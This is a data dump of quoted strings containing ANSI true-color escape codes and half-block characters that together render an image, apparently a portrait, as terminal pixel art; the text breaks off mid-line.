'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;224;225;228m▄[38;2;141;140;151m[48;2;140;140;153m▀[38;2;164;169;184m[48;2;176;182;199m▀[38;2;204;215;231m[48;2;204;215;232m▀[38;2;225;235;247m[48;2;223;235;245m▀[38;2;219;225;235m[48;2;226;234;241m▀[38;2;170;176;188m[48;2;166;171;183m▀[38;2;223;231;245m[48;2;217;225;239m▀[38;2;192;199;217m[48;2;190;197;214m▀[38;2;161;168;186m[48;2;157;164;183m▀[38;2;220;231;247m[48;2;216;231;247m▀[38;2;228;239;248m[48;2;228;241;249m▀[38;2;183;183;188m[48;2;179;179;184m▀[38;2;169;160;161m[48;2;187;175;177m▀[38;2;251;239;237m[48;2;251;238;236m▀[38;2;238;221;219m[48;2;239;225;221m▀[38;2;241;225;223m[48;2;243;228;225m▀[38;2;241;226;223m[48;2;245;228;225m▀[38;2;240;224;224m[48;2;243;228;228m▀[38;2;239;223;221m[48;2;241;228;226m▀[38;2;239;224;225m[48;2;236;224;224m▀[38;2;245;230;230m[48;2;245;235;232m▀[38;2;207;193;194m[48;2;220;212;209m▀[38;2;137;128;136m[48;2;158;147;154m▀[38;2;199;204;212m[48;2;181;180;187m▀[38;2;224;240;246m[48;2;226;242;250m▀[38;2;208;226;235m[48;2;207;228;237m▀[38;2;219;236;246m[48;2;215;231;243m▀[38;2;195;208;217m[48;2;213;226;236m▀[38;2;155;150;164m[48;2;155;150;163m▀[38;2;203;203;210m[48;2;195;190;198m▀[38;2;219;231;240m[48;2;220;232;239m▀[38;2;209;224;237m[48;2;210;227;241m▀[38;2;219;239;246m[48;2;218;239;247m▀[38;2;175;169;180m[48;2;180;174;187m▀[38;2;148;132;143m[48;2;143;124;138m▀[38;2;212;223;227m[48;2;195;199;208m▀[38;2;217;234;242m[48;2;223;237;246m▀[38;2;212;226;240m[48;2;209;223;238m▀[38;2;220;236;254m[48;2;220;230;250m▀[38;2;195;197;213m[48;2;201;197;216m▀[38;2;121;110;128m[48;2;152;137;157m▀[38;2;152;149;166m[48;2;153;148;166m▀[38;2;137;136;154m[48;2;138;133;153m▀[38;2;100;94;118m[48;2;97;86;113m▀[38;2;151;147;173m[48;2;152;147;174m▀[38;2;139;136;164m[48;2;142;137;166m▀[38;2;139;135;164m[48;2;143;137;166m▀[38;2;146;141;172m[48;2;144;140;172m▀[38;2;119;115;146m[48;2;125;120;150m▀[38;2;97;94;116m[48;2;98;95;117m▀[38;2;107;106;117m[48;2;107;105;116m▀[38;2;230;230;230m[48;2;207;207;209m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;196;197;204m[48;2;166;166;173m▀[38;2;143;143;160m[48;2;154;155;172m▀[38;2;186;191;213m[48;2;186;191;213m▀[38;2;204;216;235m[48;2;206;218;237m▀[38;2;221;234;245m[48;2;220;235;245m▀[38;2;228;237;242m[48;2;223;230;236m▀[38;2;149;152;163m[48;2;142;144;157m▀[38;2;201;208;223m[48;2;192;196;212m▀[38;2;186;194;210m[48;2;185;193;210m▀[38;2;158;168;185m[48;2;155;166;184m▀[38;2;214;234;247m[48;2;214;234;247m▀[38;2;226;242;249m[48;2;221;240;246m▀[38;2;181;183;187m[48;2;185;187;192m▀[38;2;203;190;192m[48;2;214;198;202m▀[38;2;240;228;227m[48;2;248;230;229m▀[38;2;214;207;202m[48;2;235;218;215m▀[38;2;205;198;192m[48;2;234;219;215m▀[38;2;187;184;176m[48;2;230;219;215m▀[38;2;182;179;173m[48;2;229;219;216m▀[38;2;193;190;184m[48;2;234;223;219m▀[38;2;182;179;174m[48;2;227;218;216m▀[38;2;185;186;180m[48;2;217;210;207m▀[38;2;171;174;169m[48;2;201;194;192m▀[38;2;163;151;158m[48;2;148;138;143m▀[38;2;177;165;177m[48;2;181;166;177m▀[38;2;209;218;228m[48;2;176;179;192m▀[38;2;215;234;245m[48;2;225;239;253m▀[38;2;210;226;240m[48;2;208;224;238m▀[38;2;225;239;249m[48;2;220;239;249m▀[38;2;175;169;182m[48;2;201;201;212m▀[38;2;183;170;179m[48;2;168;151;160m▀[38;2;215;221;230m[48;2;208;210;220m▀[38;2;208;229;242m[48;2;213;232;246m▀[38;2;217;236;245m[48;2;218;235;245m▀[38;2;184;177;191m[48;2;184;179;192m▀[38;2;146;122;138m[48;2;157;131;148m▀[38;2;179;176;187m[48;2;175;170;182m▀[38;2;225;237;248m[48;2;226;235;248m▀[38;2;208;224;239m[48;2;207;225;241m▀[38;2;220;230;251m[48;2;218;226;250m▀[38;2;203;198;217m[48;2;208;199;219m▀[38;2;170;151;172m[48;2;168;147;169m▀[38;2;181;173;192m[48;2;209;201;220m▀[38;2;131;126;147m[48;2;139;132;153m▀[38;2;96;82;110m[48;2;92;77;104m▀[38;2;150;143;171m[48;2;147;143;169m▀[38;2;143;139;170m[48;2;146;142;171m▀[38;2;146;140;171m[48;2;148;143;173m▀[38;2;144;140;171m[48;2;144;141;172m▀[38;2;132;127;159m[48;2;139;133;164m▀[38;2;102;98;120m[48;2;104;100;122m▀[38;2;106;104;114m[48;2;103;100;113m▀[38;2;182;182;185m[48;2;164;164;168m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;143;144;154m[48;2;137;139;152m▀[38;2;163;166;185m[48;2;169;172;191m▀[38;2;179;184;206m[48;2;174;181;203m▀[38;2;210;220;241m[48;2;215;224;242m▀[38;2;221;235;249m[48;2;221;235;249m▀[38;2;203;217;225m[48;2;195;210;223m▀[38;2;139;141;154m[48;2;130;138;155m▀[38;2;182;181;197m[48;2;171;173;190m▀[38;2;180;180;195m[48;2;166;171;184m▀[38;2;164;169;187m[48;2;157;161;180m▀[38;2;221;231;251m[48;2;216;224;247m▀[38;2;221;236;251m[48;2;219;231;252m▀[38;2;191;194;202m[48;2;186;192;202m▀[38;2;209;201;197m[48;2;218;209;205m▀[38;2;248;236;229m[48;2;242;226;217m▀[38;2;242;227;224m[48;2;234;214;210m▀[38;2;248;226;225m[48;2;215;192;187m▀[38;2;245;224;224m[48;2;186;162;160m▀[38;2;232;213;213m[48;2;162;142;141m▀[38;2;215;194;195m[48;2;170;150;149m▀[38;2;220;198;201m[48;2;175;153;152m▀[38;2;241;223;225m[48;2;181;159;160m▀[0m[38;2;204;185;186m▄[38;2;168;158;161m[48;2;170;159;161m▀[38;2;210;198;206m[48;2;209;202;204m▀[38;2;177;174;182m[48;2;230;225;228m▀[38;2;213;220;225m[48;2;172;172;176m▀[38;2;219;230;237m[48;2;237;243;247m▀[38;2;213;226;234m[48;2;225;237;238m▀[38;2;218;229;235m[48;2;238;249;253m▀[38;2;155;158;164m[48;2;186;196;201m▀[38;2;187;193;205m[48;2;185;191;202m▀[38;2;216;231;246m[48;2;227;238;252m▀[38;2;227;237;249m[48;2;224;232;245m▀[38;2;176;168;184m[48;2;177;168;183m▀[38;2;175;153;172m[48;2;174;153;168m▀[38;2;186;176;193m[48;2;138;128;139m▀[38;2;236;240;255m[48;2;154;161;170m▀[38;2;226;236;255m[48;2;148;163;172m▀[38;2;231;239;255m[48;2;184;196;206m▀[38;2;212;206;215m[48;2;185;179;180m▀[38;2;168;144;159m[48;2;174;150;155m▀[38;2;209;209;218m[48;2;213;214;218m▀[38;2;154;150;162m[48;2;168;161;173m▀[38;2;83;61;88m[48;2;85;62;86m▀[38;2;152;143;170m[48;2;155;148;173m▀[38;2;143;143;172m[48;2;142;142;171m▀[38;2;142;139;170m[48;2;146;139;174m▀[38;2;143;139;172m[48;2;147;140;174m▀[38;2;141;136;165m[48;2;142;138;166m▀[38;2;106;102;126m[48;2;99;93;118m▀[38;2;113;109;128m[48;2;113;109;132m▀[38;2;141;140;150m[48;2;121;118;133m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;242;241;243m[48;2;226;226;228m▀[38;2;133;136;149m[48;2;129;130;143m▀[38;2;173;176;195m[48;2;177;181;201m▀[38;2;174;181;202m[48;2;173;180;202m▀[38;2;217;227;246m[48;2;220;230;250m▀[38;2;220;234;248m[48;2;219;232;247m▀[38;2;195;210;223m[48;2;196;210;223m▀[38;2;136;144;165m[48;2;136;138;160m▀[38;2;170;173;193m[48;2;160;159;183m▀[38;2;158;166;183m[48;2;158;162;181m▀[38;2;142;151;170m[48;2;154;161;182m▀[38;2;203;215;236m[48;2;203;212;234m▀[38;2;224;240;255m[48;2;227;242;255m▀[38;2;188;193;201m[48;2;168;169;177m▀[38;2;234;218;215m[48;2;203;179;175m▀[38;2;245;220;214m[48;2;202;173;171m▀[38;2;228;205;203m[48;2;157;141;142m▀[38;2;199;177;174m[48;2;126;116;115m▀[38;2;207;186;184m[48;2;132;118;120m▀[38;2;221;203;202m[48;2;122;103;107m▀[38;2;228;210;209m[48;2;120;97;103m▀[38;2;236;217;216m[48;2;122;99;107m▀[38;2;237;213;216m[48;2;142;121;128m▀[38;2;188;161;165m[48;2;186;164;172m▀[38;2;163;147;150m[48;2;190;171;176m▀[38;2;161;149;153m[48;2;208;191;195m▀[38;2;246;235;240m[48;2;241;224;228m▀[38;2;208;201;206m[48;2;250;235;238m▀[38;2;170;168;172m[48;2;202;186;192m▀[38;2;188;190;194m[48;2;162;146;153m▀[38;2;192;191;196m[48;2;154;139;146m▀[38;2;205;201;208m[48;2;155;139;147m▀[38;2;164;159;169m[48;2;149;132;140m▀[38;2;207;208;219m[48;2;184;172;176m▀[38;2;218;219;228m[48;2;171;160;162m▀[38;2;179;158;169m[48;2;161;132;141m▀[38;2;162;128;139m[48;2;177;142;151m▀[38;2;166;141;147m[48;2;97;66;73m▀[38;2;155;142;142m[48;2;91;64;70m▀[38;2;133;124;126m[48;2;61;32;41m▀[38;2;152;137;141m[48;2;66;42;49m▀[38;2;142;130;129m[48;2;23;13;11m▀[38;2;146;127;130m[48;2;19;6;6m▀[38;2;193;190;193m[48;2;82;70;74m▀[38;2;169;154;169m[48;2;84;52;70m▀[38;2;80;60;82m[48;2;57;30;54m▀[38;2;140;137;159m[48;2;131;128;150m▀[38;2;144;143;172m[48;2;140;141;165m▀[38;2;148;141;175m[48;2;143;142;172m▀[38;2;150;143;177m[48;2;144;142;173m▀[38;2;148;143;172m[48;2;143;139;166m▀[38;2;91;86;111m[48;2;84;78;105m▀[38;2;104;98;121m[48;2;113;108;130m▀[38;2;127;125;139m[48;2;141;139;154m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;217;217;219m[48;2;207;207;210m▀[38;2;128;129;143m[48;2;130;131;144m▀[38;2;177;181;201m[48;2;181;184;203m▀[38;2;175;182;204m[48;2;175;182;203m▀[38;2;220;229;248m[48;2;219;229;248m▀[38;2;220;235;249m[48;2;221;235;249m▀[38;2;198;214;225m[48;2;194;209;220m▀[38;2;140;143;164m[48;2;128;136;150m▀[38;2;162;159;181m[48;2;155;154;171m▀[38;2;149;153;170m[48;2;150;153;164m▀[38;2;151;157;175m[48;2;132;141;154m▀[38;2;202;207;230m[48;2;203;215;232m▀[38;2;229;239;255m[48;2;228;238;255m▀[38;2;143;135;147m[48;2;179;165;177m▀[38;2;124;83;84m[48;2;193;151;151m▀[38;2;85;44;50m[48;2;152;106;114m▀[38;2;18;0;13m[48;2;174;144;165m▀[38;2;0;0;0m[48;2;224;208;226m▀[38;2;2;0;5m[48;2;172;164;177m▀[38;2;37;18;31m[48;2;152;141;157m▀[38;2;49;21;40m[48;2;155;138;159m▀[38;2;57;31;51m[48;2;157;140;160m▀[38;2;38;21;38m[48;2;143;130;149m▀[38;2;15;2;16m[48;2;151;140;155m▀[38;2;88;75;78m[48;2;119;109;110m▀[38;2;218;205;205m[48;2;155;148;144m▀[38;2;241;229;230m[48;2;246;236;234m▀[38;2;234;218;219m[48;2;237;227;225m▀[38;2;251;235;236m[48;2;236;221;219m▀[38;2;253;237;238m[48;2;237;221;219m▀[38;2;250;234;235m[48;2;240;224;220m▀[38;2;247;228;231m[48;2;237;223;220m▀[38;2;245;228;226m[48;2;238;224;217m▀[38;2;242;229;225m[48;2;247;232;223m▀[38;2;241;225;223m[48;2;199;188;184m▀[38;2;118;96;99m[48;2;129;118;119m▀[38;2;50;31;38m[48;2;118;111;119m▀[38;2;57;41;53m[48;2;154;152;166m▀[38;2;60;40;59m[48;2;165;154;176m▀[38;2;93;73;94m[48;2;169;159;184m▀[38;2;77;66;84m[48;2;173;170;194m▀[38;2;111;107;105m[48;2;240;232;231m▀[38;2;152;146;141m[48;2;181;172;166m▀[38;2;133;113;120m[48;2;132;106;114m▀[38;2;131;84;104m[48;2;191;140;160m▀[38;2;114;81;105m[48;2;141;114;132m▀[38;2;141;137;155m[48;2;133;132;151m▀[38;2;142;144;166m[48;2;142;144;168m▀[38;2;138;143;170m[48;2;138;143;169m▀[38;2;140;142;172m[48;2;143;143;172m▀[38;2;146;140;170m[48;2;146;141;170m▀[38;2;77;73;99m[48;2;75;71;96m▀[38;2;109;105;127m[48;2;104;100;121m▀[38;2;121;119;135m[48;2;103;99;116m▀[38;2;243;242;248m[48;2;209;208;214m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;205;205;208m[48;2;218;217;218m▀[38;2;131;132;146m[48;2;137;138;152m▀[38;2;186;190;208m[48;2;188;193;212m▀[38;2;161;168;190m[48;2;144;151;175m▀[38;2;220;230;248m[48;2;220;229;249m▀[38;2;220;234;249m[48;2;221;236;249m▀[38;2;192;208;218m[48;2;188;204;214m▀[38;2;122;127;133m[48;2;190;188;191m▀[38;2;155;149;157m[48;2;252;235;238m▀[38;2;138;135;140m[48;2;227;213;213m▀[38;2;111;117;125m[48;2;121;122;128m▀[38;2;205;221;235m[48;2;179;195;204m▀[38;2;221;239;251m[48;2;235;250;255m▀[38;2;165;160;168m[48;2;157;151;159m▀[38;2;237;206;205m[48;2;225;201;198m▀[38;2;230;193;194m[48;2;251;223;215m▀[38;2;157;125;136m[48;2;210;181;174m▀[38;2;152;133;140m[48;2;171;148;140m▀[38;2;177;169;174m[48;2;152;130;125m▀[38;2;154;148;153m[48;2;141;113;108m▀[38;2;129;116;125m[48;2;158;110;114m▀[38;2;129;114;125m[48;2;181;126;132m▀[38;2;172;154;165m[48;2;198;153;157m▀[38;2;232;217;226m[48;2;224;195;194m▀[38;2;241;230;229m[48;2;241;226;225m▀[38;2;225;214;212m[48;2;240;229;226m▀[38;2;238;227;224m[48;2;237;226;221m▀[38;2;239;224;220m[48;2;241;227;221m▀[38;2;240;221;218m[48;2;243;226;219m▀[38;2;246;226;221m[48;2;246;226;218m▀[38;2;246;228;223m[48;2;241;226;217m▀[38;2;240;227;217m[48;2;239;230;217m▀[38;2;240;224;216m[48;2;240;230;221m▀[38;2;247;227;223m[48;2;238;220;224m▀[38;2;230;215;213m[48;2;246;226;229m▀[38;2;247;232;236m[48;2;245;225;228m▀[38;2;218;206;215m[48;2;246;226;229m▀[38;2;163;148;160m[48;2;231;201;205m▀[38;2;157;129;149m[48;2;210;153;160m▀[38;2;171;138;161m[48;2;188;118;125m▀[38;2;176;149;168m[48;2;191;130;131m▀[38;2;143;118;119m[48;2;227;187;187m▀[38;2;132;117;113m[48;2;239;219;218m▀[38;2;197;171;176m[48;2;250;224;228m▀[38;2;195;151;169m[48;2;184;147;161m▀[38;2;140;121;137m[48;2;155;144;155m▀[38;2;139;140;157m[48;2;142;146;157m▀[38;2;142;144;165m[48;2;143;147;165m▀[38;2;143;142;168m[48;2;144;140;164m▀[38;2;147;141;170m[48;2;149;139;169m▀[38;2;142;138;166m[48;2;139;135;165m▀[38;2;72;67;93m[48;2;69;62;89m▀[38;2;107;104;125m[48;2;103;98;120m▀[38;2;98;95;111m[48;2;111;108;124m▀[38;2;177;176;183m[48;2;151;150;157m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;231;231;235m▀[38;2;142;143;154m[48;2;173;174;181m▀[38;2;188;192;207m[48;2;183;187;196m▀[38;2;144;151;171m[48;2;148;154;168m▀[38;2;221;230;248m[48;2;220;229;245m▀[38;2;220;234;249m[48;2;224;236;255m▀[38;2;185;198;212m[48;2;194;205;223m▀[38;2;194;188;187m[48;2;193;180;182m▀[38;2;164;137;137m[48;2;169;132;130m▀[38;2;180;148;151m[48;2;165;121;125m▀[38;2;161;147;151m[48;2;136;103;109m▀[38;2;192;202;207m[48;2;188;194;198m▀[38;2;229;245;253m[48;2;228;249;255m▀[38;2;162;149;161m[48;2;161;146;159m▀[38;2;220;190;193m[48;2;218;183;192m▀[38;2;248;223;213m[48;2;247;220;218m▀[38;2;237;210;199m[48;2;238;212;207m▀[38;2;232;207;196m[48;2;240;215;212m▀[38;2;240;209;202m[48;2;239;215;210m▀[38;2;250;209;204m[48;2;238;217;212m▀[38;2;239;186;186m[48;2;245;226;219m▀[38;2;227;170;173m[48;2;247;230;221m▀[38;2;250;205;203m[48;2;245;228;219m▀[38;2;255;227;220m[48;2;243;225;219m▀[38;2;241;227;223m[48;2;239;225;221m▀[38;2;236;227;223m[48;2;240;225;221m▀[38;2;237;227;223m▀[38;2;238;226;219m[48;2;241;225;221m▀[38;2;243;227;221m[48;2;245;224;223m▀[38;2;237;220;213m[48;2;221;202;199m▀[38;2;228;212;205m[48;2;216;194;192m▀[38;2;228;218;206m[48;2;216;192;192m▀[38;2;237;226;219m[48;2;226;205;203m▀[38;2;241;227;230m[48;2;241;225;221m▀[38;2;241;221;225m[48;2;243;227;224m▀[38;2;238;220;221m[48;2;242;226;223m▀[38;2;239;226;224m[48;2;241;225;221m▀[38;2;250;227;223m[48;2;239;224;220m▀[38;2;252;210;207m[48;2;240;225;221m▀[38;2;239;188;181m[48;2;241;226;223m▀[38;2;255;214;202m[48;2;235;219;216m▀[38;2;245;213;209m[48;2;231;212;206m▀[38;2;238;216;212m[48;2;237;216;209m▀[38;2;237;208;212m[48;2;251;223;226m▀[38;2;170;136;149m[48;2;155;131;146m▀[38;2;154;144;160m[48;2;151;140;166m▀[38;2;150;149;171m[48;2;157;154;186m▀[38;2;142;141;166m[48;2;141;136;169m▀[38;2;144;142;166m[48;2;144;141;168m▀[38;2;148;140;168m[48;2;146;147;165m▀[38;2;137;132;159m[48;2;132;129;149m▀[38;2;66;63;87m[48;2;70;67;88m▀[38;2;99;96;118m[48;2;100;97;120m▀[38;2;120;118;136m[48;2;115;110;133m▀[38;2;131;129;140m[48;2;117;115;133m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;219;220;225m[48;2;230;231;234m▀[38;2;172;176;185m[48;2;150;154;162m▀[38;2;146;152;164m[48;2;148;154;166m▀[38;2;219;229;242m[48;2;219;229;242m▀[38;2;223;235;253m[48;2;220;232;250m▀[38;2;196;207;224m[48;2;194;207;223m▀[38;2;192;181;182m[48;2;190;184;188m▀[38;2;181;146;147m[48;2;185;159;161m▀[38;2;154;113;117m[48;2;165;128;135m▀[38;2;132;100;108m[48;2;153;120;132m▀[38;2;180;183;191m[48;2;177;179;190m▀[38;2;228;248;255m[48;2;234;250;255m▀[38;2;157;143;155m[48;2;153;143;154m▀[38;2;219;191;195m[48;2;209;184;187m▀[38;2;247;227;221m[48;2;249;232;227m▀[38;2;238;215;212m[48;2;240;219;215m▀[38;2;240;217;214m[48;2;241;221;217m▀[38;2;238;218;214m[48;2;241;223;217m▀[38;2;238;218;215m▀[38;2;241;220;217m[48;2;241;226;219m▀[38;2;239;221;217m[48;2;240;226;219m▀[38;2;239;224;219m[48;2;240;227;220m▀[38;2;242;226;220m▀[38;2;240;225;221m[48;2;239;226;221m▀[48;2;240;225;221m▀[38;2;239;225;221m[48;2;239;223;219m▀[38;2;245;226;224m[48;2;247;228;226m▀[38;2;230;208;206m[48;2;217;196;195m▀[38;2;216;193;193m[48;2;208;184;183m▀[38;2;216;190;190m[48;2;210;184;184m▀[38;2;219;191;193m[48;2;219;190;192m▀[38;2;212;190;188m[48;2;214;190;190m▀[38;2;226;209;206m[48;2;224;208;205m▀[38;2;245;229;225m[48;2;239;225;221m▀[38;2;242;226;223m[48;2;238;223;219m▀[48;2;241;226;223m▀[38;2;241;225;221m▀[38;2;240;224;220m[48;2;240;225;221m▀[38;2;237;223;219m[48;2;239;224;221m▀[38;2;237;219;217m[48;2;239;225;219m▀[38;2;236;220;213m[48;2;238;227;218m▀[38;2;237;220;214m[48;2;246;229;223m▀[38;2;255;232;235m[48;2;237;218;221m▀[38;2;132;111;124m[48;2;89;74;87m▀[38;2;153;146;170m[48;2;163;158;180m▀[38;2;159;157;187m[48;2;162;160;186m▀[38;2;141;136;168m[48;2;140;137;164m▀[38;2;144;139;166m[48;2;142;139;164m▀[38;2;149;147;166m[48;2;151;149;169m▀[38;2;131;128;148m[48;2;126;122;142m▀[38;2;80;76;98m[48;2;83;80;102m▀[38;2;98;95;119m[48;2;97;94;118m▀[38;2;116;113;135m[48;2;121;118;140m▀[38;2;109;106;126m[48;2;104;100;118m▀[0m[38;2;234;232;238m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;157;161;169m[48;2;169;173;179m▀[38;2;135;141;152m[48;2;109;116;127m▀[38;2;217;227;240m[48;2;213;223;235m▀[38;2;223;235;250m[48;2;217;231;246m▀[38;2;199;213;228m[48;2;213;225;241m▀[38;2;170;170;177m[48;2;120;125;133m▀[38;2;241;223;228m[48;2;161;153;162m▀[38;2;146;117;126m[48;2;207;191;201m▀[38;2;124;94;108m[48;2;128;109;122m▀[38;2;174;173;187m[48;2;157;155;170m▀[38;2;237;251;255m[48;2;236;248;255m▀[38;2;146;131;144m[48;2;158;140;154m▀[38;2;171;144;147m[48;2;157;125;128m▀[38;2;246;231;226m[48;2;231;214;208m▀[38;2;241;225;219m[48;2;245;229;226m▀[38;2;241;226;220m[48;2;238;221;218m▀[38;2;240;225;219m[48;2;236;221;218m▀[38;2;240;226;219m[48;2;240;227;224m▀[38;2;240;227;220m▀[38;2;239;227;220m[48;2;238;227;223m▀[48;2;239;227;223m▀[38;2;237;226;219m▀[38;2;237;226;221m[48;2;241;226;223m▀[38;2;240;225;221m▀[38;2;241;225;221m▀[38;2;242;226;223m[48;2;240;226;223m▀[38;2;235;215;213m[48;2;242;227;224m▀[38;2;239;218;216m[48;2;247;231;228m▀[38;2;206;185;184m[48;2;225;209;206m▀[38;2;196;173;172m[48;2;212;198;194m▀[38;2;240;221;219m[48;2;245;228;225m▀[38;2;240;225;221m[48;2;242;226;223m▀[48;2;241;226;223m▀▀▀[38;2;241;226;223m▀▀▀[38;2;240;225;220m[48;2;241;226;221m▀[38;2;238;225;215m[48;2;239;224;215m▀[38;2;250;234;229m[48;2;255;242;241m▀[38;2;205;187;193m[48;2;139;125;132m▀[38;2;52;41;55m[48;2;28;22;38m▀[38;2;171;170;188m[48;2;181;183;202m▀[38;2;159;160;185m[48;2;149;153;175m▀[38;2;138;138;162m[48;2;132;138;158m▀[38;2;140;140;163m[48;2;136;144;164m▀[38;2;151;151;171m[48;2;153;155;175m▀[38;2;120;117;137m[48;2;106;103;122m▀[38;2;83;80;99m[48;2;78;75;97m▀[38;2;99;96;120m[48;2;110;107;130m▀[38;2;125;121;143m[48;2;127;124;146m▀[38;2;103;100;119m[48;2;107;105;122m▀[38;2;219;218;224m[48;2;216;215;219m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;212;215;219m[48;2;237;240;243m▀[38;2;91;99;109m[48;2;89;97;106m▀[38;2;194;204;216m[48;2;154;165;176m▀[38;2;224;237;250m[48;2;236;248;255m▀[38;2;208;220;236m[48;2;204;216;232m▀[38;2;146;153;168m[48;2;133;138;155m▀[38;2;135;132;144m[48;2;169;168;183m▀[38;2;110;103;113m[48;2;138;137;149m▀[38;2;181;168;183m[48;2;119;111;128m▀[38;2;183;184;202m[48;2;153;159;175m▀[38;2;226;238;252m[48;2;226;239;252m▀[38;2;168;148;163m[48;2;168;149;162m▀[38;2;157;124;127m[48;2;174;139;141m▀[38;2;180;160;154m[48;2;141;120;113m▀[38;2;245;230;228m[48;2;220;205;202m▀[38;2;239;224;220m[48;2;247;231;228m▀[38;2;241;226;223m[48;2;239;224;220m▀[48;2;241;226;223m▀[48;2;241;226;221m▀[48;2;242;226;223m▀▀▀[48;2;241;226;223m▀▀[38;2;238;227;223m▀▀[48;2;237;221;218m▀[38;2;235;223;218m[48;2;240;225;221m▀[38;2;245;232;228m[48;2;240;227;223m▀[38;2;238;228;223m[48;2;236;223;218m▀[38;2;238;226;221m[48;2;240;227;221m▀[38;2;241;226;223m[48;2;239;227;223m▀▀[48;2;238;227;223m▀▀▀▀[48;2;239;227;223m▀[38;2;240;225;221m[48;2;236;224;218m▀[38;2;242;227;218m[48;2;248;238;226m▀[38;2;243;225;226m[48;2;197;182;182m▀[38;2;85;72;82m[48;2;75;65;77m▀[38;2;71;71;86m[48;2;110;116;130m▀[38;2;174;182;198m[48;2;162;172;186m▀[38;2;143;151;169m[48;2;141;150;163m▀[38;2;132;141;158m[48;2;136;144;160m▀[38;2;136;147;164m[48;2;137;148;165m▀[38;2;149;152;171m[48;2;148;151;170m▀[38;2;95;92;111m[48;2;95;92;110m▀[38;2;81;77;99m[48;2;83;80;100m▀[38;2;117;114;137m[48;2;119;116;139m▀[38;2;128;125;147m[48;2;117;114;136m▀[38;2;111;108;126m[48;2;116;113;130m▀[38;2;225;223;228m[48;2;239;237;242m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;120;129;136m[48;2;190;193;196m▀[38;2;147;157;166m[48;2;143;149;155m▀[38;2;228;240;252m[48;2;226;237;248m▀[38;2;210;223;239m[48;2;214;228;247m▀[38;2;146;146;169m[48;2;144;149;172m▀[38;2;157;153;173m[48;2;161;160;183m▀[38;2;148;146;160m[48;2;152;148;170m▀[38;2;142;139;154m[48;2;140;136;155m▀[38;2;114;120;138m[48;2;109;111;128m▀[38;2;231;243;255m[48;2;218;226;237m▀[38;2;160;146;158m[48;2;177;180;188m▀[38;2;175;144;148m[48;2;155;150;157m▀[38;2;151;133;127m[48;2;175;170;173m▀[38;2;137;122;121m[48;2;53;44;46m▀[38;2;253;238;237m[48;2;186;173;175m▀[38;2;238;223;221m[48;2;255;241;245m▀[38;2;243;226;226m[48;2;236;217;219m▀[38;2;242;225;225m[48;2;241;227;226m▀[38;2;242;226;225m[48;2;237;226;224m▀[38;2;243;224;225m[48;2;237;227;225m▀[38;2;242;224;225m[48;2;237;228;223m▀[38;2;241;226;223m[48;2;241;226;223m▀[48;2;240;226;223m▀[48;2;238;228;223m▀[48;2;240;226;223m▀[38;2;240;224;220m[48;2;246;229;226m▀[38;2;239;223;219m[48;2;255;245;241m▀[38;2;240;224;220m[48;2;252;238;235m▀[38;